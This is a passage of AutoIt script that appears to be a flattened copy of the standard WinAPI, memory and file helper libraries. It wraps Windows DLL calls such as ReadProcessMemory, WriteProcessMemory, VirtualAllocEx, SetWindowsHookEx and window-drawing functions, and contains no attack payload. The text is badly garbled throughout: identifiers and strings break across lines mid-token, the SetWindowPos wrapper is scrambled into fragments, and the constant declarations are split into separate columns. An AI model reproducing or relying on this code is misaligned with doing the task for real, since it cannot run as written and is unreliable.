r, 1 + 2)
$iextracount = UBound($aextrapaths, 1)
EndIf
ElseIf IsArray($aextrapaths) Then
$iextracount = UBound($aextrapaths)
EndIf
Local $tpaths, $tpathptrs
If $iextracount Then
Local $szstruct = ""
For $path In $aextrapaths
$szstruct &= "wchar[" & StringLen($path) + 1 & "];"
Next
$tpaths = DllStructCreate($szstruct)
$tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
For $i = 1 To $iextracount
DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths,
$i), $i)
Next
DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
EndIf
Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr
", $szfile, "ptr", DllStructGetPtr($tpathptrs))
If @error Then Return SetError(@error, @extended, False)
If $aresult[0] = 0 Then Return SetError(1, 0, $szfile)
Return $aresult[1]
EndFunc
Func _winapi_pointfromrect(ByRef $trect, $fcenter = True)
Local $ix1 = DllStructGetData($trect, "Left")
Local $iy1 = DllStructGetData($trect, "Top")
Local $ix2 = DllStructGetData($trect, "Right")
Local $iy2 = DllStructGetData($trect, "Bottom")
If $fcenter Then
$ix1 = $ix1 + (($ix2 - $ix1) / 2)
$iy1 = $iy1 + (($iy2 - $iy1) / 2)
EndIf
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $ix1)
DllStructSetData($tpoint, "Y", $iy1)
Return $tpoint
EndFunc
Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $h
wnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_primarylangid($lgid)
Return BitAND($lgid, 1023)
EndFunc

Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)


Local $ix = DllStructGetData($tpoint, "X")
Local $iy = DllStructGetData($tpoint, "Y")
Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "ptr", DllStr
uctGetPtr($trect), "long", $ix, "long", $iy)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0
)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $
hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef
$iread)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "h
andle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "
ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_rectisempty(ByRef $trect)
Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($tre
ct, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetDat
a($trect, "Bottom") = 0)
EndFunc
Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
Local $prect = 0
If $trect <> 0 Then $prect = DllStructGetPtr($trect)
Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $
hwnd, "ptr", $prect, "handle", $hregion, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_registerwindowmessage($smessage)
Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW",
"wstr", $smessage)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_releasecapture()
Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_releasedc($hwnd, $hdc)
Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd
, "handle", $hdc)

If @error Then Return SetError(@error, @extended, False)


Return $aresult[0]
EndFunc
Func _winapi_screentoclient($hwnd, ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd",
$hwnd, "ptr", DllStructGetPtr($tpoint))
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_selectobject($hdc, $hgdiobj)
Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle"
, $hdc, "handle", $hgdiobj)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setbkcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hd
c, "dword", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setbkmode($hdc, $ibkmode)
Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc
, "int", $ibkmode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcapture($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hw
nd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcursor($hcursor)
Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle",
$hcursor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setdefaultprinter($sprinter)
Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "
wstr", $sprinter)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $ic
oloruse = 0)
Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc
, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr
", $pbmi, "uint", $icoloruse)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]

EndFunc
Func _winapi_setendoffile($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle
", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setevent($hevent)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $
hevent)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handl
e", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setfocus($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd
)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
_sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "
hwnd")
EndFunc
Func _winapi_sethandleinformation($hobject, $imask, $iflags)
Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation",
"handle", $hobject, "dword", $imask, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 25
5, $dwflags = 3, $iscolorref = False)
If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
If NOT $iscolorref Then
$i_transcolor = Hex(String($i_transcolor), 6)
$i_transcolor = Execute("0x00" & StringMid($i_transcolor, 5, 2)
& StringMid($i_transcolor, 3, 2) & StringMid($i_transcolor, 1, 2))
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttribut
es", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwf
lags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setparent($hwndchild, $hwndparent)
Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwn
dchild, "hwnd", $hwndparent)

If @error Then Return SetError(@error, @extended, 0)


Return $aresult[0]
EndFunc
Func _winapi_setprocessaffinitymask($hprocess, $imask)
Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask
", "handle", $hprocess, "ulong_ptr", $imask)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setsyscolors($velements, $vcolors)
Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors)
Local $ielementnum
If NOT $iscarray AND NOT $isearray Then
$ielementnum = 1
ElseIf $iscarray OR $isearray Then
If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, F
alse)
If UBound($velements) <> UBound($vcolors) Then Return SetError(1, -1, False)
$ielementnum = UBound($velements)
EndIf
Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]")
Local $pelements = DllStructGetPtr($telements)
Local $pcolors = DllStructGetPtr($tcolors)
If NOT $isearray Then
DllStructSetData($telements, "Element", $velements, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($telements, "Element", $velements[$x],
$x + 1)
Next
EndIf
If NOT $iscarray Then
DllStructSetData($tcolors, "NewColor", $vcolors, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x
+ 1)
Next
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $i
elementnum, "ptr", $pelements, "ptr", $pcolors)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_settextcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $
hdc, "dword", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
_winapi_setlasterror(0)
Local $sfuncname = "SetWindowLongW"
If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"

Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $


hwnd, "int", $iindex, "long_ptr", $ivalue)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hw
nd", $hwnd, "ptr", $pwindowplacement)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowpos($hwnd, $hafter, $ix,
Local $aresult = DllCall("user32.dll",
hwnd, "hwnd", $hafter, "int", $ix, "int", $iy,
$iflags)
If @error Then Return SetError(@error,
Return $aresult[0]
EndFunc

$iy, $icx, $icy, $iflags)


"bool", "SetWindowPos", "hwnd", $
"int", $icx, "int", $icy, "uint",
@extended, False)

Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)


Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $h
wnd, "handle", $hrgn, "bool", $bredraw)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "in
t", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowtext($hwnd, $stext)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd",
$hwnd, "wstr", $stext)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_showcursor($fshow)
Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fsh
ow)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_showerror($stext, $fexit = True)
_winapi_msgbox(266256, "Error", $stext)
If $fexit Then Exit
EndFunc
Func _winapi_showmsg($stext)
_winapi_msgbox(64 + 4096, "Information", $stext)
EndFunc
Func _winapi_showwindow($hwnd, $icmdshow = 5)
Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hw

nd, "int", $icmdshow)


If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_stringfromguid($pguid)
Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "ptr", $
pguid, "wstr", "", "int", 40)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_sublangid($lgid)
Return BitShift($lgid, 10)
EndFunc
Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini =
0)
Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW",
"uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_twipsperpixelx()
Local $lngdc, $twipsperpixelx
$lngdc = _winapi_getdc(0)
$twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant
_logpixelsx)
_winapi_releasedc(0, $lngdc)
Return $twipsperpixelx
EndFunc
Func _winapi_twipsperpixely()
Local $lngdc, $twipsperpixely
$lngdc = _winapi_getdc(0)
$twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant
_logpixelsy)
_winapi_releasedc(0, $lngdc)
Return $twipsperpixely
EndFunc
Func _winapi_unhookwindowshookex($hhk)
Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "h
andle", $hhk)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $p
ptsrce, $irgb, $pblend, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "h
wnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcs
rce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatewindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $

hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "han
dle", $hprocess, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itim
eout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects"
, "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "
handle", $hhandle, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
Local $sunicodetype = "ptr"
If IsDllStruct($punicode) Then
$punicode = DllStructGetPtr($punicode)
Else
If NOT IsPtr($punicode) Then $sunicodetype = "wstr"
EndIf
Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "
uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "i
nt", 0, "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
Local $pmultibyte = DllStructGetPtr($tmultibyte)
$aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint",
$icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", $pmultibyte
, "int", $aresult[0], "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
If $bretstring Then Return DllStructGetData($tmultibyte, 1)
Return $tmultibyte
EndFunc
Func _winapi_windowfrompoint(ByRef $tpoint)
Local $tpointcast = DllStructCreate("int64", DllStructGetPtr($tpoint))
Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "int64
", DllStructGetData($tpointcast, 1))
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_writeconsole($hconsole, $stext)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handl
e", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0
)

If @error Then Return SetError(@error, @extended, False)


Return $aresult[0]
EndFunc
Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlappe
d = 0)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle",
$hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRe
f $iwritten, $sbuffer = "ptr")
Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "
handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isiz
e, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[5]
Return $aresult[0]
EndFunc
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global

Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const

$gmem_fixed = 0
$gmem_moveable = 2
$gmem_nocompact = 16
$gmem_nodiscard = 32
$gmem_zeroinit = 64
$gmem_modify = 128
$gmem_discardable = 256
$gmem_not_banked = 4096
$gmem_share = 8192
$gmem_ddeshare = 8192
$gmem_notify = 16384
$gmem_lower = 4096
$gmem_valid_flags = 32626
$gmem_invalid_handle = 32768
$gptr = $gmem_fixed + $gmem_zeroinit
$ghnd = $gmem_moveable + $gmem_zeroinit
$mem_commit = 4096
$mem_reserve = 8192
$mem_top_down = 1048576
$mem_shared = 134217728
$page_noaccess = 1
$page_readonly = 2
$page_readwrite = 4
$page_execute = 16
$page_execute_read = 32
$page_execute_readwrite = 64
$page_guard = 256
$page_nocache = 512
$mem_decommit = 16384
$mem_release = 32768
$process_terminate = 1
$process_create_thread = 2
$process_set_sessionid = 4
$process_vm_operation = 8
$process_vm_read = 16
$process_vm_write = 32
$process_dup_handle = 64

Global
Global
Global
Global
Global
Global
Global

Const
Const
Const
Const
Const
Const
Const

$process_create_process = 128
$process_set_quota = 256
$process_set_information = 512
$process_query_information = 1024
$process_suspend_resume = 2048
$process_all_access = 2035711
$tagmemmap = "handle hProc;ulong_ptr Size;ptr Mem"

Func _memfree(ByRef $tmemmap)


Local $pmemory = DllStructGetData($tmemmap, "Mem")
Local $hprocess = DllStructGetData($tmemmap, "hProc")
Local $bresult = _memvirtualfreeex($hprocess, $pmemory, 0, $mem_release)
DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess)
If @error Then Return SetError(@error, @extended, False)
Return $bresult
EndFunc
Func _memglobalalloc($ibytes, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint"
, $iflags, "ulong_ptr", $ibytes)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _memglobalfree($hmem)
Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle",
$hmem)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _memgloballock($hmem)
Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle",
$hmem)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _memglobalsize($hmem)
Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "han
dle", $hmem)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _memglobalunlock($hmem)
Local $aresult = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle
", $hmem)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _meminit($hwnd, $isize, ByRef $tmemmap)
Local $aresult = DllCall("User32.dll", "dword", "GetWindowThreadProcessI
d", "hwnd", $hwnd, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $iprocessid = $aresult[2]
If $iprocessid = 0 Then Return SetError(1, 0, 0)
Local $iaccess = BitOR($process_vm_operation, $process_vm_read, $process
_vm_write)

Local $hprocess = __mem_openprocess($iaccess, False, $iprocessid, True)


Local $ialloc = BitOR($mem_reserve, $mem_commit)
Local $pmemory = _memvirtualallocex($hprocess, 0, $isize, $ialloc, $page
_readwrite)
If $pmemory = 0 Then Return SetError(2, 0, 0)
$tmemmap = DllStructCreate($tagmemmap)
DllStructSetData($tmemmap, "hProc", $hprocess)
DllStructSetData($tmemmap, "Size", $isize)
DllStructSetData($tmemmap, "Mem", $pmemory)
Return $pmemory
EndFunc
Func _memmovememory($psource, $pdest, $ilength)
DllCall("kernel32.dll", "none", "RtlMoveMemory", "ptr", $pdest, "ptr", $
psource, "ulong_ptr", $ilength)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _memread(ByRef $tmemmap, $psrce, $pdest, $isize)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "h
andle", DllStructGetData($tmemmap, "hProc"), "ptr", $psrce, "ptr", $pdest, "ulon
g_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _memwrite(ByRef $tmemmap, $psrce, $pdest = 0, $isize = 0, $ssrce = "ptr")
If $pdest = 0 Then $pdest = DllStructGetData($tmemmap, "Mem")
If $isize = 0 Then $isize = DllStructGetData($tmemmap, "Size")
Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "
handle", DllStructGetData($tmemmap, "hProc"), "ptr", $pdest, $ssrce, $psrce, "ul
ong_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _memvirtualalloc($paddress, $isize, $iallocation, $iprotect)
Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", $
paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _memvirtualallocex($hprocess, $paddress, $isize, $iallocation, $iprotect)
Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handl
e", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dw
ord", $iprotect)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _memvirtualfree($paddress, $isize, $ifreetype)
Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFree", "ptr", $
paddress, "ulong_ptr", $isize, "dword", $ifreetype)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _memvirtualfreeex($hprocess, $paddress, $isize, $ifreetype)
Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFreeEx", "handl

e", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)


If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func __mem_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword
", $iaccess, "bool", $finherit, "dword", $iprocessid)
If @error Then Return SetError(@error, @extended, 0)
If $aresult[0] Then Return $aresult[0]
If NOT $fdebugpriv Then Return 0
Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privile
ges, $token_query))
If @error Then Return SetError(@error, @extended, 0)
_security__setprivilege($htoken, "SeDebugPrivilege", True)
Local $ierror = @error
Local $ilasterror = @extended
Local $iret = 0
If NOT @error Then
$aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dwo
rd", $iaccess, "bool", $finherit, "dword", $iprocessid)
$ierror = @error
$ilasterror = @extended
If $aresult[0] Then $iret = $aresult[0]
_security__setprivilege($htoken, "SeDebugPrivilege", False)
If @error Then
$ierror = @error
$ilasterror = @extended
EndIf
EndIf
DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $htoken)
Return SetError($ierror, $ilasterror, $iret)
EndFunc
Func _filecountlines($sfilepath)
Local $hfile = FileOpen($sfilepath, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $sfilecontent = StringStripWS(FileRead($hfile), 2)
FileClose($hfile)
Local $atmp
If StringInStr($sfilecontent, @LF) Then
$atmp = StringSplit(StringStripCR($sfilecontent), @LF)
ElseIf StringInStr($sfilecontent, @CR) Then
$atmp = StringSplit($sfilecontent, @CR)
Else
If StringLen($sfilecontent) Then
Return 1
Else
Return SetError(2, 0, 0)
EndIf
EndIf
Return $atmp[0]
EndFunc
Func _filecreate($sfilepath)
Local $hopenfile = FileOpen($sfilepath, $fo_overwrite)
If $hopenfile = -1 Then Return SetError(1, 0, 0)
Local $hwritefile = FileWrite($hopenfile, "")
FileClose($hopenfile)
If $hwritefile = -1 Then Return SetError(2, 0, 0)

Return 1
EndFunc
Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0)
Local $hsearch, $sfile, $sfilelist, $sdelim = "|"
$spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\"
If NOT FileExists($spath) Then Return SetError(1, 1, "")
If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError
(2, 2, "")
If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3,
3, "")
$hsearch = FileFindFirstFile($spath & $sfilter)
If @error Then Return SetError(4, 4, "")
While 1
$sfile = FileFindNextFile($hsearch)
If @error Then ExitLoop
If ($iflag + @extended = 2) Then ContinueLoop
$sfilelist &= $sdelim & $sfile
WEnd
FileClose($hsearch)
If NOT $sfilelist Then Return SetError(4, 4, "")
Return StringSplit(StringTrimLeft($sfilelist, 1), "|")
EndFunc
Func _fileprint($s_file, $i_show = @SW_HIDE)
Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0,
"wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show)
If @error Then Return SetError(@error, @extended, 0)
If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0)
Return 1
EndFunc
Func _filereadtoarray($sfilepath, ByRef $aarray)
Local $hfile = FileOpen($sfilepath, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $afile = FileRead($hfile, FileGetSize($sfilepath))
If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1)
If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1)
FileClose($hfile)
If StringInStr($afile, @LF) Then
$aarray = StringSplit(StringStripCR($afile), @LF)
ElseIf StringInStr($afile, @CR) Then
$aarray = StringSplit($afile, @CR)
Else
If StringLen($afile) Then
Dim $aarray[2] = [1, $afile]
Else
Return SetError(2, 0, 0)
EndIf
EndIf
Return 1
EndFunc
Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0)
If NOT IsArray($a_array) Then Return SetError(2, 0, 0)
Local $last = UBound($a_array) - 1
If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last
If $i_base < 0 OR $i_base > $last Then $i_base = 0
Local $hfile
If IsString($file) Then

$hfile = FileOpen($file, $fo_overwrite)


Else
$hfile = $file
EndIf
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $errorsav = 0
For $x = $i_base To $i_ubound
If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then
$errorsav = 3
ExitLoop
EndIf
Next
If IsString($file) Then FileClose($hfile)
If $errorsav Then Return SetError($errorsav, 0, 0)
Return 1
EndFunc
Func _filewritelog($slogpath, $slogmsg, $iflag = -1)
Local $iopenmode = $fo_append
Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY
Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC
Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg
If $iflag <> -1 Then
$smsg &= @CRLF & FileRead($slogpath)
$iopenmode = $fo_overwrite
EndIf
Local $hopenfile = FileOpen($slogpath, $iopenmode)
If $hopenfile = -1 Then Return SetError(1, 0, 0)
Local $iwritefile = FileWriteLine($hopenfile, $smsg)
Local $iret = FileClose($hopenfile)
If $iwritefile = -1 Then Return SetError(2, $iret, 0)
Return $iret
EndFunc
Func _filewritetoline($sfile, $iline, $stext, $foverwrite = 0)
If $iline <= 0 Then Return SetError(4, 0, 0)
If NOT IsString($stext) Then Return SetError(6, 0, 0)
If $foverwrite <> 0 AND $foverwrite <> 1 Then Return SetError(5, 0, 0)
If NOT FileExists($sfile) Then Return SetError(2, 0, 0)
Local $sread_file = FileRead($sfile)
Local $asplit_file = StringSplit(StringStripCR($sread_file), @LF)
